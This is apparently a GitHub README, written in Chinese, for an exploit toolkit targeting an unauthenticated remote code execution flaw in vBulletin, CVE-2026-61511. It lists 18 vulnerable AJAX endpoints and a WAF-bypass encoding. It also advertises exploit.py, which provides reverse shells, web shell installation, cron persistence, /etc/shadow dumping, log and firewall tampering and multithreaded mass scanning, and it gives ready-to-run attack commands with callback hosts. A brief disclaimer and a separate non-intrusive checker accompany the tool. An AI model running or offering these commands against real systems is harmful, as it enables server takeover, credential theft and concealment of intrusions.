tc4dy/CVE-2026-61511-PoC-Exploit

 # CVE-2026-61511 – vBulletin 未授权 RCE 漏洞利用与验证工具 [](https://www.python.org/downloads/) [](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator) [](https://github.com/tc4dy) [](https://www.vbulletin.com/) ## 📖 漏洞概述 **CVE‑2026‑61511** 是存在于 vBulletin AJAX 模板渲染引擎中的一个 PHP `eval()` 注入漏洞。 受影响版本：**5.0.0 – 5.7.5** 和 **6.0.0 – 6.2.1**。 ### 漏洞原理 1. **多个攻击端点** – 该漏洞存在于多个 AJAX 处理程序中： - `/ajax/render/pagenav` - `/ajax/api/ad/replaceAdTemplate` - `/ajax/render/widget_php` - `/ajax/render/widget_tabbedcontainer_tab_panel` - 各种 `/ajax/api/content_* /getIndexableContent` 端点 2. **PHPFuck 编码** – payload 被转换为一系列 PHP 运算符和数字，从而绕过 WAF 过滤并允许执行任意的 PHP 代码。 3. **无需身份验证** – 攻击者可以向任何易受攻击的端点发送特制的 POST 请求，并以 Web 服务器的权限执行系统命令。 4. **影响** – 导致服务器完全被入侵、数据窃取、植入后门、横向移动以及权限维持。请立即升级版本！ ### 补丁 - **vBulletin 6.2.2** 及旧版本的 **Patch Level 1** 已修复此问题。 - **始终升级**至最新版本。 ## 🧰 工具 | 工具 | 用途 | 目标用户 | |------|---------|---------------| | **`exploit.py`** | 包含反弹 shell、权限维持、文件操作、数据库导出、防火墙管理、日志管理、端口转发、SSH 密钥部署、网络扫描和批量扫描（多线程）的完整工具包。 | 红队 / 授权渗透测试人员 | | **`safecheck.py`** | 非侵入式验证工具，在不执行任何恶意 payload 的情况下检查漏洞。可检测版本、测试所有端点，并生成详细的报告。 | 蓝队 / 安全审计人员 | ## 📊 功能对比 | 功能 | `exploit.py` | `safecheck.py` | |---------|:------------:|:--------------:| | 漏洞检测 | ✅ | ✅ | | 版本检测 | ✅ | ✅ | | 多端点测试（18 个路径） | ✅ | ✅ | | 命令执行 | ✅ | ❌ | | 反弹 shell | ✅ | ❌ | | 文件上传/下载 | ✅ | ❌ | | 权限维持机制 | ✅ | ❌ | | Web shell 部署 | ✅ | ❌ | | 数据库操作 | ✅ | ❌ | | 系统信息收集 | ✅ | ✅ | | 防火墙管理 | ✅ | ❌ | | 日志管理 | ✅ | ❌ | | 端口转发 | ✅ | ❌ | | SSH 密钥部署 | ✅ | ❌ | | 网络扫描 | ✅ | ❌ | | 批量扫描（多线程） | ✅ | ❌ | | 代理支持 | ✅ | ✅ | | JSON 报告输出 | ✅ | ✅ | | 交互式菜单 | ✅ | ❌ | | 非侵入式（安全）模式 | ❌ | ✅ | | 详细/Debug 模式 | ✅ | ✅ | | 自定义命令执行 | ✅ | ❌ | | 多命令链接 | ✅ | ❌ | | 远程文件读取 | ✅ | ❌ | | 远程文件写入 | ✅ | ❌ | | 系统用户管理 | ✅ | ❌ | | 防火墙绕过技术 | ✅ | ❌ | | WAF 绕过 (PHPFuck) | ✅ | ✅ | ## 🎯 使用场景总结 | 场景 | 推荐工具 | |----------|------------------| | **蓝队** – 验证您的 vBulletin 安装是否存在漏洞 | `safecheck.py` | | **安全审计** – 非侵入式漏洞评估 | `safecheck.py` | | **红队** – 进行完整漏洞利用的授权渗透测试 | `exploit.py` | | **Bug Bounty** – 负责任的披露测试 | `safecheck.py` | | **批量扫描** – 检查多个目标是否存在漏洞 | `exploit.py`（仅检测） | | **事件响应** – 检查系统是否被入侵 | `safecheck.py` | ## ⚙️ 安装说明 ``` git clone https://github.com/tc4dy/CVE-2026-61511-PoC-Exploit cd CVE-2026-61511 pip install -r requirements.txt ``` requirements.txt 内容： ``` request urllib3 ``` ## 参数 🌬️ | 参数 | 描述 | |-----------|-------------| | `-t, --target` | 目标 URL（例如：`http://forum.com/vb`） | | `--proxy` | HTTP 代理（例如：`http://127.0.0.1:8080`） | | `--timeout` | 请求超时时间（秒）（默认：10） | | `--retry` | 每个路径的重试次数（默认：3） | | `--output` | 将详细报告保存为 JSON 文件 | | `-v, --verbose` | 详细输出 | | `-q, --quiet` | 安静模式（最少输出） | | `--lhost` | **漏洞利用必需** – 用于回调的 IP | | `--lport` | 用于回调的端口（默认：4444） | | `--threads` | 用于批量扫描的线程数（默认：5） | | `--exploit` | 检测后执行漏洞利用 | | `--full` | 完整攻击（所有模块） | | `--shell` | 启动反弹 shell | | `--webshell` | 安装 web shell (`/shell.php`) | | `--persist` | 安装权限维持（cron job） | | `--dump` | 导出数据库 | | `--dump-creds` | 导出凭据（`/etc/passwd`, `/etc/shadow`） | | `--interactive` | 验证成功后进入交互式菜单 | ### 使用场景 | # | 场景 | 命令 | |---|----------|---------| | 1 | 快速漏洞检查 | `python safecheck.py -t http://target.com/vb` | | 2 | 详细扫描并生成报告 | `python safecheck.py -t http://target.com/vb --output report.json -v` | | 3 | 反弹 shell | `python exploit.py -t http://target.com/vb --lhost 192.168.1.100 --lport 4444 --shell` | | 4 | 完整攻击（所有模块） | `python exploit.py -t http://target.com/vb --lhost 192.168.1.100 --full` | | 5 | 从文件批量扫描 | `python exploit.py -l targets.txt --lhost 192.168.1.100 --threads 20 --output results.json` | | 6 | 交互式菜单模式 | `python exploit.py -t http://target.com/vb --lhost 192.168.1.100 --interactive` | ## 端点池 🅿️ | # | 端点 | |---|----------| | 1 | `/ajax/render/pagenav` | | 2 | `/ajax/render/pagenav?template=page` | | 3 | `/ajax/api/ad/replaceAdTemplate` | | 4 | `/ajax/render/widget_php` | | 5 | `/ajax/render/widget_tabbedcontainer_tab_panel` | | 6 | `/ajax/api/content_infraction/getIndexableContent` | | 7 | `/ajax/api/content_video/getIndexableContent` | | 8 | `/ajax/api/content_text/getIndexableContent` | | 9 | `/ajax/api/content_report/getIndexableContent` | | 10 | `/ajax/api/content_redirect/getIndexableContent` | | 11 | `/ajax/api/content_privatemessage/getIndexableContent` | | 12 | `/ajax/api/content_poll/getIndexableContent` | | 13 | `/ajax/api/content_photo/getIndexableContent` | | 14 | `/ajax/api/content_link/getIndexableContent` | | 15 | `/ajax/api/content_gallery/getIndexableContent` | | 16 | `/ajax/api/content_event/getIndexableContent` | | 17 | `/ajax/api/content_channel/getIndexableContent` | | 18 | `/ajax/api/content_attach/getIndexableContent` | ## 🛡️ 负责任的使用 - **仅在这些工具用于您拥有或获得明确书面授权进行测试的系统上。** - 未经授权的访问是非法且不道德的。 - 作者不对任何滥用行为负责。 - 务必遵守您所在国家/地区的法律法规。 本软件仅用于**教育目的和授权的安全测试**。

标签：CISA项目, Python, vBulletin, 无后门, 编程工具, 远程代码执行